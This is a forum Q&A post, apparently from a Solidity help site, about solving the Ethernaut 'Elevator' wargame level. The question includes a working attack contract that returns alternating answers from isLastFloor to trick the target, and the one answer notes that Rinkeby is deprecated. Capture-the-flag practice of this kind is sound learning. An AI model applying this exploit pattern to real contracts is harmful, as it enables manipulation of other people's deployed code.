0

I'm trying to solve Ethernaut #11 Elevator. My solution works when I deploy a copy of the instance contract by myself on Remix VM, but when I try it on the real instance on the Rinkeby network, using Remix's Injected Provider - Metamask, calling the function goToTop() gives a "Gas estimation failed". I have also tried others' solutions that I have found online, and they all give me the same error.

My solution:

pragma solidity ^0.6.0;

contract Elevator {
  function goTo(uint _floor) public {}
}


contract Attack {

  Elevator public e;
  bool public toggle = true;

  constructor(address target) public {
    e = Elevator(target);
  }

  function goToTop() public {
    uint top = 0;
    top -= 1;
    e.goTo(top);
  }

  function isLastFloor(uint) external returns (bool) {
    toggle = !toggle;
    return toggle;
  }
}

1 Answer 1

1

The Rinkeby network is deprecated. You can switch to the Goerli network and try again.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.